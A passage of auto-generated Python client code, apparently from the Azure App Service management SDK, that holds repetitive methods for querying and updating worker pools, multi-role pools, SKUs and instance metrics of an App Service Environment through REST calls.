= self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct and send request request = self._client.get(url, query_parameters) response = self._client.send(request, header_parameters, **operation_config) if response.status_code not in [200]: exp = CloudError(response) exp.request_id = response.headers.get('x-ms-request-id') raise exp deserialized = None if response.status_code == 200: deserialized = self._deserialize('UsageCollection', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized def get_hosting_environment_web_worker_usages( self, resource_group_name, name, worker_pool_name, custom_headers=None, raw=False, **operation_config): """ Get usages for a worker pool of a hostingEnvironment (App Service Environment). :param resource_group_name: Name of resource group :type resource_group_name: str :param name: Name of hostingEnvironment (App Service Environment) :type name: str :param worker_pool_name: Name of worker pool :type worker_pool_name: str :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :rtype: :class:`UsageCollection <azure.mgmt.web.models.UsageCollection>` :rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if raw=true """ # Construct URL url = '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Web/hostingEnvironments/{name}/workerPools/{workerPoolName}/usages' path_format_arguments = { 'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'), 'name': self._serialize.url("name", name, 'str'), 'workerPoolName': self._serialize.url("worker_pool_name", worker_pool_name, 'str'), 'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct and send request request = self._client.get(url, query_parameters) response = self._client.send(request, header_parameters, **operation_config) if response.status_code not in [200]: exp = CloudError(response) exp.request_id = response.headers.get('x-ms-request-id') raise exp deserialized = None if response.status_code == 200: deserialized = self._deserialize('UsageCollection', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized def get_hosting_environment_sites( self, resource_group_name, name, properties_to_include=None, custom_headers=None, raw=False, **operation_config): """ Get all sites on the hostingEnvironment (App Service Environment). :param resource_group_name: Name of resource group :type resource_group_name: str :param name: Name of hostingEnvironment (App Service Environment) :type name: str :param properties_to_include: Comma separated list of site properties to include :type properties_to_include: str :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :rtype: :class:`SiteCollection <azure.mgmt.web.models.SiteCollection>` :rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if raw=true """ # Construct URL url = '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Web/hostingEnvironments/{name}/sites' path_format_arguments = { 'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'), 'name': self._serialize.url("name", name, 'str'), 'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} if properties_to_include is not None: query_parameters['propertiesToInclude'] = self._serialize.query("properties_to_include", properties_to_include, 'str') query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct and send request request = self._client.get(url, query_parameters) response = self._client.send(request, header_parameters, **operation_config) if response.status_code not in [200]: exp = CloudError(response) exp.request_id = response.headers.get('x-ms-request-id') raise exp deserialized = None if response.status_code == 200: deserialized = self._deserialize('SiteCollection', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized def get_hosting_environment_web_hosting_plans( self, resource_group_name, name, custom_headers=None, raw=False, **operation_config): """ Get all serverfarms (App Service Plans) on the hostingEnvironment (App Service Environment). :param resource_group_name: Name of resource group :type resource_group_name: str :param name: Name of hostingEnvironment (App Service Environment) :type name: str :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :rtype: :class:`ServerFarmCollection <azure.mgmt.web.models.ServerFarmCollection>` :rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if raw=true """ # Construct URL url = '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Web/hostingEnvironments/{name}/webhostingplans' path_format_arguments = { 'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'), 'name': self._serialize.url("name", name, 'str'), 'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct and send request request = self._client.get(url, query_parameters) response = self._client.send(request, header_parameters, **operation_config) if response.status_code not in [200]: exp = CloudError(response) exp.request_id = response.headers.get('x-ms-request-id') raise exp deserialized = None if response.status_code == 200: deserialized = self._deserialize('ServerFarmCollection', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized def get_hosting_environment_server_farms( self, resource_group_name, name, custom_headers=None, raw=False, **operation_config): """ Get all serverfarms (App Service Plans) on the hostingEnvironment (App Service Environment). :param resource_group_name: Name of resource group :type resource_group_name: str :param name: Name of hostingEnvironment (App Service Environment) :type name: str :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :rtype: :class:`ServerFarmCollection <azure.mgmt.web.models.ServerFarmCollection>` :rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if raw=true """ # Construct URL url = '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Web/hostingEnvironments/{name}/serverfarms' path_format_arguments = { 'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'), 'name': self._serialize.url("name", name, 'str'), 'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct and send request request = self._client.get(url, query_parameters) response = self._client.send(request, header_parameters, **operation_config) if response.status_code not in [200]: exp = CloudError(response) exp.request_id = response.headers.get('x-ms-request-id') raise exp deserialized = None if response.status_code == 200: deserialized = self._deserialize('ServerFarmCollection', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized def get_multi_role_pools( self, resource_group_name, name, custom_headers=None, raw=False, **operation_config): """ Get all multi role pools :param resource_group_name: Name of resource group :type resource_group_name: str :param name: Name of hostingEnvironment (App Service Environment) :type name: str :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :rtype: :class:`WorkerPoolCollection <azure.mgmt.web.models.WorkerPoolCollection>` :rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if raw=true """ # Construct URL url = '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Web/hostingEnvironments/{name}/multiRolePools' path_format_arguments = { 'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'), 'name': self._serialize.url("name", name, 'str'), 'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct and send request request = self._client.get(url, query_parameters) response = self._client.send(request, header_parameters, **operation_config) if response.status_code not in [200]: exp = CloudError(response) exp.request_id = response.headers.get('x-ms-request-id') raise exp deserialized = None if response.status_code == 200: deserialized = self._deserialize('WorkerPoolCollection', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized def get_multi_role_pool( self, resource_group_name, name, custom_headers=None, raw=False, **operation_config): """ Get properties of a multiRool pool. :param resource_group_name: Name of resource group :type resource_group_name: str :param name: Name of hostingEnvironment (App Service Environment) :type name: str :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :rtype: :class:`WorkerPool <azure.mgmt.web.models.WorkerPool>` :rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if raw=true """ # Construct URL url = '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Web/hostingEnvironments/{name}/multiRolePools/default' path_format_arguments = { 'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'), 'name': self._serialize.url("name", name, 'str'), 'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct and send request request = self._client.get(url, query_parameters) response = self._client.send(request, header_parameters, **operation_config) if response.status_code not in [200]: exp = CloudError(response) exp.request_id = response.headers.get('x-ms-request-id') raise exp deserialized = None if response.status_code == 200: deserialized = self._deserialize('WorkerPool', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized def create_or_update_multi_role_pool( self, resource_group_name, name, multi_role_pool_envelope, custom_headers=None, raw=False, **operation_config): """ Create or update a multiRole pool. :param resource_group_name: Name of resource group :type resource_group_name: str :param name: Name of hostingEnvironment (App Service Environment) :type name: str :param multi_role_pool_envelope: Properties of multiRole pool :type multi_role_pool_envelope: :class:`WorkerPool <azure.mgmt.web.models.WorkerPool>` :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :rtype: :class:`AzureOperationPoller<msrestazure.azure_operation.AzureOperationPoller>` instance that returns :class:`WorkerPool <azure.mgmt.web.models.WorkerPool>` :rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if raw=true """ # Construct URL url = '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Web/hostingEnvironments/{name}/multiRolePools/default' path_format_arguments = { 'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'), 'name': self._serialize.url("name", name, 'str'), 'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct body body_content = self._serialize.body(multi_role_pool_envelope, 'WorkerPool') # Construct and send request def long_running_send(): request = self._client.put(url, query_parameters) return self._client.send( request, header_parameters, body_content, **operation_config) def get_long_running_status(status_link, headers=None): request = self._client.get(status_link) if headers: request.headers.update(headers) return self._client.send( request, header_parameters, **operation_config) def get_long_running_output(response): if response.status_code not in [200, 202, 400, 404, 409]: exp = CloudError(response) exp.request_id = response.headers.get('x-ms-request-id') raise exp deserialized = None if response.status_code == 200: deserialized = self._deserialize('WorkerPool', response) if response.status_code == 202: deserialized = self._deserialize('WorkerPool', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized if raw: response = long_running_send() return get_long_running_output(response) long_running_operation_timeout = operation_config.get( 'long_running_operation_timeout', self.config.long_running_operation_timeout) return AzureOperationPoller( long_running_send, get_long_running_output, get_long_running_status, long_running_operation_timeout) def get_multi_role_pool_skus( self, resource_group_name, name, custom_headers=None, raw=False, **operation_config): """ Get available skus for scaling a multiRole pool. :param resource_group_name: Name of resource group :type resource_group_name: str :param name: Name of hostingEnvironment (App Service Environment) :type name: str :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :rtype: :class:`SkuInfoCollection <azure.mgmt.web.models.SkuInfoCollection>` :rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if raw=true """ # Construct URL url = '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Web/hostingEnvironments/{name}/multiRolePools/default/skus' path_format_arguments = { 'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'), 'name': self._serialize.url("name", name, 'str'), 'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct and send request request = self._client.get(url, query_parameters) response = self._client.send(request, header_parameters, **operation_config) if response.status_code not in [200]: exp = CloudError(response) exp.request_id = response.headers.get('x-ms-request-id') raise exp deserialized = None if response.status_code == 200: deserialized = self._deserialize('SkuInfoCollection', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized def get_worker_pools( self, resource_group_name, name, custom_headers=None, raw=False, **operation_config): """ Get all worker pools :param resource_group_name: Name of resource group :type resource_group_name: str :param name: Name of hostingEnvironment (App Service Environment) :type name: str :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :rtype: :class:`WorkerPoolCollection <azure.mgmt.web.models.WorkerPoolCollection>` :rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if raw=true """ # Construct URL url = '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Web/hostingEnvironments/{name}/workerPools' path_format_arguments = { 'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'), 'name': self._serialize.url("name", name, 'str'), 'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct and send request request = self._client.get(url, query_parameters) response = self._client.send(request, header_parameters, **operation_config) if response.status_code not in [200]: exp = CloudError(response) exp.request_id = response.headers.get('x-ms-request-id') raise exp deserialized = None if response.status_code == 200: deserialized = self._deserialize('WorkerPoolCollection', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized def get_worker_pool( self, resource_group_name, name, worker_pool_name, custom_headers=None, raw=False, **operation_config): """ Get properties of a worker pool. :param resource_group_name: Name of resource group :type resource_group_name: str :param name: Name of hostingEnvironment (App Service Environment) :type name: str :param worker_pool_name: Name of worker pool :type worker_pool_name: str :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :rtype: :class:`WorkerPool <azure.mgmt.web.models.WorkerPool>` :rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if raw=true """ # Construct URL url = '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Web/hostingEnvironments/{name}/workerPools/{workerPoolName}' path_format_arguments = { 'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'), 'name': self._serialize.url("name", name, 'str'), 'workerPoolName': self._serialize.url("worker_pool_name", worker_pool_name, 'str'), 'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct and send request request = self._client.get(url, query_parameters) response = self._client.send(request, header_parameters, **operation_config) if response.status_code not in [200]: exp = CloudError(response) exp.request_id = response.headers.get('x-ms-request-id') raise exp deserialized = None if response.status_code == 200: deserialized = self._deserialize('WorkerPool', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized def create_or_update_worker_pool( self, resource_group_name, name, worker_pool_name, worker_pool_envelope, custom_headers=None, raw=False, **operation_config): """ Create or update a worker pool. :param resource_group_name: Name of resource group :type resource_group_name: str :param name: Name of hostingEnvironment (App Service Environment) :type name: str :param worker_pool_name: Name of worker pool :type worker_pool_name: str :param worker_pool_envelope: Properties of worker pool :type worker_pool_envelope: :class:`WorkerPool <azure.mgmt.web.models.WorkerPool>` :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :rtype: :class:`AzureOperationPoller<msrestazure.azure_operation.AzureOperationPoller>` instance that returns :class:`WorkerPool <azure.mgmt.web.models.WorkerPool>` :rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if raw=true """ # Construct URL url = '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Web/hostingEnvironments/{name}/workerPools/{workerPoolName}' path_format_arguments = { 'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'), 'name': self._serialize.url("name", name, 'str'), 'workerPoolName': self._serialize.url("worker_pool_name", worker_pool_name, 'str'), 'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct body body_content = self._serialize.body(worker_pool_envelope, 'WorkerPool') # Construct and send request def long_running_send(): request = self._client.put(url, query_parameters) return self._client.send( request, header_parameters, body_content, **operation_config) def get_long_running_status(status_link, headers=None): request = self._client.get(status_link) if headers: request.headers.update(headers) return self._client.send( request, header_parameters, **operation_config) def get_long_running_output(response): if response.status_code not in [200, 202, 400, 404, 409]: exp = CloudError(response) exp.request_id = response.headers.get('x-ms-request-id') raise exp deserialized = None if response.status_code == 200: deserialized = self._deserialize('WorkerPool', response) if response.status_code == 202: deserialized = self._deserialize('WorkerPool', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized if raw: response = long_running_send() return get_long_running_output(response) long_running_operation_timeout = operation_config.get( 'long_running_operation_timeout', self.config.long_running_operation_timeout) return AzureOperationPoller( long_running_send, get_long_running_output, get_long_running_status, long_running_operation_timeout) def get_worker_pool_skus( self, resource_group_name, name, worker_pool_name, custom_headers=None, raw=False, **operation_config): """ Get available skus for scaling a worker pool. :param resource_group_name: Name of resource group :type resource_group_name: str :param name: Name of hostingEnvironment (App Service Environment) :type name: str :param worker_pool_name: Name of worker pool :type worker_pool_name: str :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :rtype: :class:`SkuInfoCollection <azure.mgmt.web.models.SkuInfoCollection>` :rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if raw=true """ # Construct URL url = '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Web/hostingEnvironments/{name}/workerPools/{workerPoolName}/skus' path_format_arguments = { 'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'), 'name': self._serialize.url("name", name, 'str'), 'workerPoolName': self._serialize.url("worker_pool_name", worker_pool_name, 'str'), 'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct and send request request = self._client.get(url, query_parameters) response = self._client.send(request, header_parameters, **operation_config) if response.status_code not in [200]: exp = CloudError(response) exp.request_id = response.headers.get('x-ms-request-id') raise exp deserialized = None if response.status_code == 200: deserialized = self._deserialize('SkuInfoCollection', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized def get_worker_pool_instance_metrics( self, resource_group_name, name, worker_pool_name, instance, details=None, filter=None, custom_headers=None, raw=False, **operation_config): """ Get metrics for a specific instance of a worker pool of a hostingEnvironment (App Service Environment). :param resource_group_name: Name of resource group :type resource_group_name: str :param name: Name of hostingEnvironment (App Service Environment) :type name: str :param worker_pool_name: Name of worker pool :type worker_pool_name: str :param instance: Name of instance in the worker pool :type instance: str :param details: Include instance details :type details: bool :param filter: Return only usages/metrics specified in the filter. Filter conforms to odata syntax. Example: $filter=(name.value eq 'Metric1' or name.value eq 'Metric2') and startTime eq '2014-01-01T00:00:00Z' and endTime eq '2014-12-31T23:59:59Z' and timeGrain eq duration'[Hour|Minute|Day]'. :type filter: str :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :rtype: object :rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if raw=true """ # Construct URL url = '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Web/hostingEnvironments/{name}/workerPools/{workerPoolName}/instances/{instance}/metrics' path_format_arguments = { 'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'), 'name': self._serialize.url("name", name, 'str'), 'workerPoolName': self._serialize.url("worker_pool_name", worker_pool_name, 'str'), 'instance': self._serialize.url("instance", instance, 'str'), 'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} if details is not None: query_parameters['details'] = self._serialize.query("details", details, 'bool') if filter is not None: query_parameters['$filter'] = self._serialize.query("filter", filter, 'str') query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct and send request request = self._client.get(url, query_parameters) response = self._client.send(request, header_parameters, **operation_config) if response.status_code not in [200]: exp = CloudError(response) exp.request_id = response.headers.get('x-ms-request-id') raise exp deserialized = None if response.status_code == 200: deserialized = self._deserialize('object', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized def get_worker_pool_instance_metric_definitions( self, resource_group_name, name, worker_pool_name, instance, custom_headers=None, raw=False, **operation_config): """ Get metric definitions for a specific instance of a worker pool of a hostingEnvironment (App Service Environment). :param resource_group_name: Name of resource group :type resource_group_name: str :param name: Name of hostingEnvironment (App Service Environment) :type name: str :param worker_pool_name: Name of worker pool :type worker_pool_name: str :param instance: Name of instance in the worker pool :type instance: str :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :rtype: object :rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if raw=true """ # Construct URL url = '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Web/hostingEnvironments/{name}/workerPools/{workerPoolName}/instances/{instance}/metricdefinitions' path_format_arguments = { 'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'), 'name': self._serialize.url("name", name, 'str'), 'workerPoolName': self._serialize.url("worker_pool_name", worker_pool_name, 'str'), 'instance': self._serialize.url("instance", instance, 'str'), 'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct and send request request = self._client.get(url, query_parameters) response = self._client.send(request, header_parameters, **operation_config) if response.status_code not in [200]: exp = CloudError(response) exp.request_id = response.headers.get('x-ms-request-id') raise exp deserialized = None if response.status_code == 200: deserialized = self._deserialize('object', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized def get_multi_role_pool_instance_metrics( self, resource_group_name, name, instance, details=None, custom_headers=None, raw=False, **operation_config): """ Get metrics for a specific instance of a multiRole pool of a hostingEnvironment (App Service Environment). :param resource_group_name: Name of resource group :type resource_group_name: str :param name: Name of hostingEnvironment (App Service Environment) :type name: str :param instance: Name of instance in the multiRole pool :type instance: str :param details: Include instance details :type details: bool :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :rtype: object :rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if raw=true """ # Construct URL url = '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Web/hostingEnvironments/{name}/multiRolePools/default/instances/{instance}/metrics' path_format_arguments = { 'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'), 'name': self._serialize.url("name", name, 'str'), 'instance': self._serialize.url("instance", instance, 'str'), 'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} if details is not None: query_parameters['details'] = self._serialize.query("details", details, 'bool') query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if 